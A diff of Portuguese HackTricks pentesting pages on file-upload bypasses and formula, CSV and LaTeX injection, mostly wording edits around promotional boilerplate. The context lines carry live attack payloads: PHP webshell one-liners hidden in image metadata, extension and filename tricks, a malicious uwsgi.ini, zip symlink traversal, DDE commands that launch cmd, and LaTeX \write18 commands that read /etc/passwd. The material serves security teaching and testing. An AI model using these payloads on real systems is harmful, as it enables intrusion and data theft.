* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -9,7 +9,7 @@ Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas dicas de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
@ -49,7 +49,7 @@ Outras extensões úteis:
* _file._
* _file.php...._
* _file.pHp5...._
4. Tente contornar as proteções **enganando o analisador de extensão** do lado do servidor com técnicas como **duplicar** a **extensão** ou **adicionar dados lixo** (bytes **nulos**) entre as extensões. _Você também pode usar as **extensões anteriores** para preparar um payload melhor._
4. Tente contornar as proteções **enganando o analisador de extensão** do lado do servidor com técnicas como **duplicar** a **extensão** ou **adicionar dados lixo** (bytes nulos) entre extensões. _Você também pode usar as **extensões anteriores** para preparar um payload melhor._
* _file.png.php_
* _file.png.pHp5_
* _file.php#.png_
@ -61,7 +61,7 @@ Outras extensões úteis:
5. Adicione **outra camada de extensões** à verificação anterior:
* _file.png.jpg.php_
* _file.php%00.png%00.jpg_
6. Tente colocar a **extensão de execução antes da extensão válida** e reze para que o servidor esteja mal configurado. (útil para explorar configurações incorretas do Apache onde qualquer coisa com a extensão\*\* _**.php**_**, mas** não necessariamente terminando em .php\*\* executará código):
6. Tente colocar a **extensão de execução antes da extensão válida** e torça para que o servidor esteja mal configurado. (útil para explorar configurações incorretas do Apache onde qualquer coisa com extensão\*\* _**.php**_**, mas** não necessariamente terminando em .php\*\* executará código):
* _ex: file.php.png_
7. Usando **fluxo de dados alternativo NTFS (ADS)** no **Windows**. Neste caso, um caractere de dois pontos ":" será inserido após uma extensão proibida e antes de uma permitida. Como resultado, um **arquivo vazio com a extensão proibida** será criado no servidor (por exemplo, "file.asax:.jpg"). Este arquivo pode ser editado posteriormente usando outras técnicas, como usar seu nome curto. O padrão “**::$data**” também pode ser usado para criar arquivos não vazios. Portanto, adicionar um caractere de ponto após esse padrão também pode ser útil para contornar restrições adicionais (por exemplo, “file.asp::$data.”)
8. Tente quebrar os limites do nome do arquivo. A extensão válida é cortada. E o PHP malicioso é deixado. AAA<--SNIP-->AAA.php
@ -79,7 +79,7 @@ AAA<--SNIP 232 A-->AAA.php.png
### Bypass de Content-Type, Número Mágico, Compressão e Redimensionamento
* Contorne as verificações de **Content-Type** definindo o **valor** do **cabeçalho Content-Type** para: _image/png_ , _text/plain , application/octet-stream_
* Contorne as verificações de **Content-Type** definindo o **valor** do **header Content-Type** para: _image/png_ , _text/plain , application/octet-stream_
1. Wordlist de **Content-Type**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
* Contorne a verificação de **número mágico** adicionando no início do arquivo os **bytes de uma imagem real** (confundir o comando _file_). Ou introduza o shell dentro dos **metadados**:\
`exiftool -Comment="<?php echo 'Comando:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
@ -87,7 +87,7 @@ AAA<--SNIP 232 A-->AAA.php.png
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
* Se a **compressão estiver sendo adicionada à sua imagem**, por exemplo, usando algumas bibliotecas PHP padrão como [PHP-GD](https://www.php.net/manual/fr/book.image.php), as técnicas anteriores não serão úteis. No entanto, você pode usar o **chunk PLTE** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviverá à compressão**.
* [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
* A página da web também pode estar **redimensionando** a **imagem**, usando por exemplo as funções PHP-GD `imagecopyresized` ou `imagecopyresampled`. No entanto, você pode usar o **chunk IDAT** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviverá à compressão**.
* A página da web também pode estar **redimensionando** a **imagem**, usando, por exemplo, as funções PHP-GD `imagecopyresized` ou `imagecopyresampled`. No entanto, você pode usar o **chunk IDAT** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviverá à compressão**.
* [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
* Outra técnica para criar um payload que **sobrevive a um redimensionamento de imagem**, usando a função PHP-GD `thumbnailImage`. No entanto, você pode usar o **chunk tEXt** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviverá à compressão**.
* [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
@ -99,18 +99,18 @@ AAA<--SNIP 232 A-->AAA.php.png
* **Possível divulgação de informações**:
1. Faça o **upload várias vezes** (e ao **mesmo tempo**) do **mesmo arquivo** com o **mesmo nome**
2. Faça o upload de um arquivo com o **nome** de um **arquivo** ou **pasta** que **já existe**
3. Fazer upload de um arquivo com **“.”, “..”, ou “…” como seu nome**. Por exemplo, no Apache no **Windows**, se a aplicação salvar os arquivos enviados no diretório “/www/uploads/”, o nome “.” criará um arquivo chamado “uploads” no diretório “/www/”.
3. Fazer upload de um arquivo com **“.”, “..”, ou “…” como seu nome**. Por exemplo, no Apache no **Windows**, se a aplicação salvar os arquivos enviados no diretório “/www/uploads/”, o nome de arquivo “.” criará um arquivo chamado “uploads” no diretório “/www/”.
4. Faça o upload de um arquivo que pode não ser facilmente excluído, como **“…:.jpg”** no **NTFS**. (Windows)
5. Faça o upload de um arquivo no **Windows** com **caracteres inválidos** como `|<>*?”` em seu nome. (Windows)
6. Faça o upload de um arquivo no **Windows** usando **nomes reservados** (**proibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 e LPT9.
* Tente também **fazer upload de um executável** (.exe) ou um **.html** (menos suspeito) que **executará código** quando acidentalmente aberto pela vítima.
### Truques de Extensão Especial
### Truques Especiais de Extensão
Se você está tentando fazer upload de arquivos para um servidor **PHP**, [dê uma olhada no truque **.htaccess** para executar código](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
Se você está tentando fazer upload de arquivos para um servidor **ASP**, [dê uma olhada no truque **.config** para executar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Os arquivos `.phar` são como os arquivos `.jar` para Java, mas para PHP, e podem ser **usados como um arquivo PHP** (executando-o com PHP, ou incluindo-o dentro de um script...)
Os arquivos `.phar` são como os arquivos `.jar` para Java, mas para PHP, e podem ser **usados como um arquivo PHP** (executando-o com PHP ou incluindo-o dentro de um script...).
A extensão `.inc` é às vezes usada para arquivos PHP que são apenas usados para **importar arquivos**, então, em algum momento, alguém poderia ter permitido **essa extensão ser executada**.
@ -124,7 +124,7 @@ Se você puder fazer upload de um arquivo XML em um servidor Jetty, você pode o
Para uma exploração detalhada dessa vulnerabilidade, confira a pesquisa original: [Exploração de RCE do uWSGI](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Vulnerabilidades de Execução Remota de Comandos (RCE) podem ser exploradas em servidores uWSGI se alguém tiver a capacidade de modificar o arquivo de configuração `.ini`. Os arquivos de configuração do uWSGI utilizam uma sintaxe específica para incorporar variáveis "mágicas", espaços reservados e operadores. Notavelmente, o operador '@', utilizado como `@(nome_do_arquivo)`, é projetado para incluir o conteúdo de um arquivo. Entre os vários esquemas suportados no uWSGI, o esquema "exec" é particularmente potente, permitindo a leitura de dados a partir da saída padrão de um processo. Essa funcionalidade pode ser manipulada para fins maliciosos, como Execução Remota de Comandos ou Escrita/Leitura Arbitrária de Arquivos quando um arquivo de configuração `.ini` é processado.
Vulnerabilidades de Execução Remota de Comandos (RCE) podem ser exploradas em servidores uWSGI se alguém tiver a capacidade de modificar o arquivo de configuração `.ini`. Os arquivos de configuração do uWSGI utilizam uma sintaxe específica para incorporar variáveis "mágicas", espaços reservados e operadores. Notavelmente, o operador '@', utilizado como `@(nome_do_arquivo)`, é projetado para incluir o conteúdo de um arquivo. Entre os vários esquemas suportados no uWSGI, o esquema "exec" é particularmente potente, permitindo a leitura de dados a partir da saída padrão de um processo. Essa funcionalidade pode ser manipulada para fins nefastos, como Execução Remota de Comandos ou Escrita/Leitura Arbitrária de Arquivos quando um arquivo de configuração `.ini` é processado.
Considere o seguinte exemplo de um arquivo `uwsgi.ini` prejudicial, mostrando vários esquemas:
```ini
@ -150,7 +150,7 @@ A execução da carga ocorre durante a análise do arquivo de configuração. Pa
## **Truque de Upload de Arquivo/SSRF do wget**
Em algumas ocasiões, você pode descobrir que um servidor está usando o **`wget`** para **baixar arquivos** e você pode **indicar** a **URL**. Nestes casos, o código pode estar verificando se a extensão dos arquivos baixados está dentro de uma lista branca para garantir que apenas arquivos permitidos sejam baixados. No entanto, **esta verificação pode ser contornada.**\
Em algumas ocasiões, você pode descobrir que um servidor está usando o **`wget`** para **baixar arquivos** e você pode **indicar** a **URL**. Nestes casos, o código pode estar verificando se a extensão dos arquivos baixados está dentro de uma lista branca para garantir que apenas arquivos permitidos sejam baixados. No entanto, **essa verificação pode ser contornada**.\
O **comprimento máximo** de um **nome de arquivo** no **Linux** é **255**, no entanto, o **wget** trunca os nomes de arquivo para **236** caracteres. Você pode **baixar um arquivo chamado "A"\*232+".php"+".gif"**, este nome de arquivo irá **burlar** a **verificação** (como neste exemplo **".gif"** é uma extensão **válida**), mas o `wget` irá **renomear** o arquivo para **"A"\*232+".php"**.
```bash
#Create file and HTTP server
@ -174,7 +174,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
Note que **outra opção** que você pode estar pensando para contornar essa verificação é fazer o **servidor HTTP redirecionar para um arquivo diferente**, então a URL inicial irá contornar a verificação e então o wget irá baixar o arquivo redirecionado com o novo nome. Isso **não funcionará** **a menos que** o wget esteja sendo usado com o **parâmetro** `--trust-server-names` porque **o wget irá baixar a página redirecionada com o nome do arquivo indicado na URL original**.
Note que **outra opção** que você pode estar pensando para contornar essa verificação é fazer com que o **servidor HTTP redirecione para um arquivo diferente**, então a URL inicial irá contornar a verificação e então o wget irá baixar o arquivo redirecionado com o novo nome. Isso **não funcionará** **a menos que** o wget esteja sendo usado com o **parâmetro** `--trust-server-names` porque **o wget irá baixar a página redirecionada com o nome do arquivo indicado na URL original**.
## Ferramentas
@ -188,7 +188,7 @@ Note que **outra opção** que você pode estar pensando para contornar essa ver
* Defina o **nome do arquivo** como `<svg onload=alert(document.domain)>` para alcançar um XSS
* Defina o **nome do arquivo** como `; sleep 10;` para testar alguma injeção de comando (mais [truques de injeção de comando aqui](../command-injection.md))
* [**XSS** em upload de arquivo de imagem (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
* Upload de arquivo **JS** + **XSS** = [Exploração de **Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
* Upload de arquivo **JS** + **XSS** = [exploração de **Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
* [**XXE em upload de svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
* [**Redirecionamento Aberto** via upload de arquivo svg](../open-redirect.md#open-redirect-uploading-svg-files)
* Experimente **diferentes payloads svg** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
@ -229,7 +229,7 @@ Se você puder fazer upload de um ZIP que será descompactado dentro do servidor
#### Symlink
Faça upload de um link contendo links simbólicos para outros arquivos e, em seguida, acessando os arquivos descompactados, você acessará os arquivos vinculados:
Faça o upload de um link contendo links simbólicos para outros arquivos e, em seguida, acessando os arquivos descompactados, você acessará os arquivos vinculados:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
@ -237,7 +237,7 @@ tar -cvf test.tar symindex.txt
```
### Descompactar em pastas diferentes
A criação inesperada de arquivos em diretórios durante a descompressão é um problema significativo. Apesar das suposições iniciais de que essa configuração poderia proteger contra a execução de comandos em nível de sistema operacional por meio de uploads de arquivos maliciosos, o suporte à compressão hierárquica e as capacidades de travessia de diretórios do formato de arquivo ZIP podem ser explorados. Isso permite que os atacantes ignorem restrições e escapem de diretórios de upload seguros manipulando a funcionalidade de descompressão do aplicativo alvo.
A criação inesperada de arquivos em diretórios durante a descompactação é um problema significativo. Apesar das suposições iniciais de que essa configuração poderia proteger contra a execução de comandos em nível de sistema operacional por meio de uploads de arquivos maliciosos, o suporte à compressão hierárquica e as capacidades de travessia de diretórios do formato de arquivo ZIP podem ser explorados. Isso permite que os atacantes ignorem restrições e escapem de diretórios de upload seguros manipulando a funcionalidade de descompressão do aplicativo alvo.
Um exploit automatizado para criar esses arquivos está disponível em [**evilarc no GitHub**](https://github.com/ptoomey3/evilarc). A utilidade pode ser usada da seguinte maneira:
```python
@ -305,7 +305,7 @@ pop graphic-context
Incorporar um shell PHP no chunk IDAT de um arquivo PNG pode contornar efetivamente certas operações de processamento de imagem. As funções `imagecopyresized` e `imagecopyresampled` do PHP-GD são particularmente relevantes nesse contexto, pois são comumente usadas para redimensionar e reamostrar imagens, respectivamente. A capacidade do shell PHP incorporado de permanecer inalterado por essas operações é uma vantagem significativa para determinados casos de uso.
Uma exploração detalhada dessa técnica, incluindo sua metodologia e aplicações potenciais, é fornecida no seguinte artigo: ["Codificando Shells Web em chunks IDAT de PNG"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Este recurso oferece uma compreensão abrangente do processo e suas implicações.
Uma exploração detalhada dessa técnica, incluindo sua metodologia e aplicações potenciais, é fornecida no seguinte artigo: ["Codificando Web Shells em chunks IDAT de PNG"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Este recurso oferece uma compreensão abrangente do processo e suas implicações.
Mais informações em: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
@ -313,7 +313,7 @@ Mais informações em: [https://www.idontplaydarts.com/2012/06/encoding-web-shel
Arquivos poliglotas atuam como uma ferramenta única em cibersegurança, agindo como camaleões que podem existir validamente em múltiplos formatos de arquivo simultaneamente. Um exemplo intrigante é um [GIFAR](https://en.wikipedia.org/wiki/Gifar), um híbrido que funciona tanto como um GIF quanto como um arquivo RAR. Tais arquivos não se limitam a essa combinação; combinações como GIF e JS ou PPT e JS também são viáveis.
A utilidade central dos arquivos poliglotas reside em sua capacidade de contornar medidas de segurança que filtram arquivos com base no tipo. A prática comum em várias aplicações envolve permitir apenas certos tipos de arquivo para upload, como JPEG, GIF ou DOC, para mitigar o risco representado por formatos potencialmente prejudiciais (por exemplo, arquivos JS, PHP ou Phar). No entanto, um poliglota, ao se conformar aos critérios estruturais de múltiplos tipos de arquivo, pode contornar essas restrições sorrateiramente.
A utilidade central dos arquivos poliglotas reside em sua capacidade de contornar medidas de segurança que filtram arquivos com base no tipo. A prática comum em várias aplicações envolve permitir apenas certos tipos de arquivo para upload, como JPEG, GIF ou DOC, para mitigar o risco representado por formatos potencialmente prejudiciais (por exemplo, arquivos JS, PHP ou Phar). No entanto, um poliglota, ao se conformar aos critérios estruturais de múltiplos tipos de arquivo, pode contornar essas restrições de forma furtiva.
Apesar de sua adaptabilidade, os poliglotas encontram limitações. Por exemplo, enquanto um poliglota pode simultaneamente incorporar um arquivo PHAR (PHp ARchive) e um JPEG, o sucesso de seu upload pode depender das políticas de extensão de arquivo da plataforma. Se o sistema for rigoroso em relação às extensões permitidas, a mera dualidade estrutural de um poliglota pode não ser suficiente para garantir seu upload.
@ -340,10 +340,10 @@ Mais informações em: [https://medium.com/swlh/polyglot-files-a-hackers-best-fr
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou nos siga no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,13 +1,13 @@
# Upload de PDF - Bypass XXE e CORS
# Upload de PDF - Bypass de XXE e CORS
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
@ -16,12 +16,12 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -1,4 +1,4 @@
# Injeção de Fórmulas/CSV/Doc/LaTeX/GhostScript
# Injeção de Fórmula/CSV/Doc/LaTeX/GhostScript
<details>
@ -6,10 +6,10 @@
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
@ -22,14 +22,14 @@ Encontre vulnerabilidades que mais importam para que você possa corrigi-las mai
***
## Injeção de Fórmulas
## Injeção de Fórmula
### Informações
### Informação
Se a sua **entrada** está sendo **refletida** dentro de **arquivos CSV** (ou qualquer outro arquivo que provavelmente será aberto pelo **Excel**), você pode ser capaz de inserir **fórmulas do Excel** que serão **executadas** quando o usuário **abrir o arquivo** ou quando o usuário **clicar em algum link** dentro da planilha do Excel.
{% hint style="danger" %}
Atualmente, o **Excel alertará** (várias vezes) o **usuário quando algo for carregado de fora do Excel** para evitar que ele realize ações maliciosas. Portanto, um esforço especial em Engenharia Social deve ser aplicado ao payload final.
Atualmente, o **Excel alertará** (várias vezes) o **usuário quando algo é carregado de fora do Excel** para evitar que ele realize ações maliciosas. Portanto, um esforço especial em Engenharia Social deve ser aplicado ao payload final.
{% endhint %}
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
@ -47,7 +47,7 @@ DDE ("cmd";"/C calc";"!A0")A0
O exemplo a seguir foi retirado de [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
Imagine uma violação de segurança em um sistema de Gerenciamento de Registros de Alunos explorado por meio de um ataque de injeção de CSV. A intenção principal do atacante é comprometer o sistema usado pelos professores para gerenciar detalhes dos alunos. O método envolve o atacante injetando um payload malicioso na aplicação, especificamente inserindo fórmulas prejudiciais em campos destinados aos detalhes dos alunos. O ataque se desenrola da seguinte forma:
Imagine uma violação de segurança em um sistema de Gerenciamento de Registros de Alunos sendo explorada por meio de um ataque de injeção de CSV. A intenção principal do atacante é comprometer o sistema usado pelos professores para gerenciar detalhes dos alunos. O método envolve o atacante injetando um payload malicioso na aplicação, especificamente inserindo fórmulas prejudiciais em campos destinados aos detalhes dos alunos. O ataque se desenrola da seguinte forma:
1. **Injeção de Payload Malicioso:**
- O atacante envia um formulário de detalhes do aluno, mas inclui uma fórmula comumente usada em planilhas (por exemplo, `=HYPERLINK("<malicious_link>","Clique aqui")`).
@ -109,8 +109,8 @@ Normalmente, os servidores que você encontrará na internet que **convertem có
Este programa usa 3 atributos principais para (des)permitir a execução de comandos:
* **`--no-shell-escape`**: **Desabilita** a construção `\write18{comando}`, mesmo que esteja habilitada no arquivo texmf.cnf.
* **`--shell-restricted`**: Igual a `--shell-escape`, mas **limitado** a um conjunto 'seguro' de **comandos pré-definidos** (\*\*No Ubuntu 16.04 a lista está em `/usr/share/texmf/web2c/texmf.cnf`).
* **`--shell-escape`**: **Habilita** a construção `\write18{comando}`. O comando pode ser qualquer comando de shell. Esta construção normalmente é desativada por motivos de segurança.
* **`--shell-restricted`**: Igual a `--shell-escape`, mas **limitado** a um conjunto 'seguro' de \*\*comandos pré-definidos (\*\*No Ubuntu 16.04 a lista está em `/usr/share/texmf/web2c/texmf.cnf`).
* **`--shell-escape`**: **Habilita** a construção `\write18{comando}`. O comando pode ser qualquer comando de shell. Esta construção normalmente é proibida por motivos de segurança.
No entanto, existem outras maneiras de executar comandos, então para evitar RCE é muito importante usar `--shell-restricted`.
@ -132,7 +132,7 @@ Você pode precisar ajustar a injeção com wrappers como \[ ou $.
\text{\line}
\closein\file
```
#### Ler arquivo de várias linhas
#### Ler arquivo com várias linhas
```bash
\newread\file
\openin\file=/etc/passwd
@ -174,7 +174,7 @@ A entrada do comando será redirecionada para stdin, use um arquivo temporário
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
```
Se você receber algum erro LaTex, considere usar base64 para obter o resultado sem caracteres inválidos
Se você receber algum erro LaTex, considere usar base64 para obter o resultado sem caracteres ruins.
```bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
@ -217,7 +217,7 @@ Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
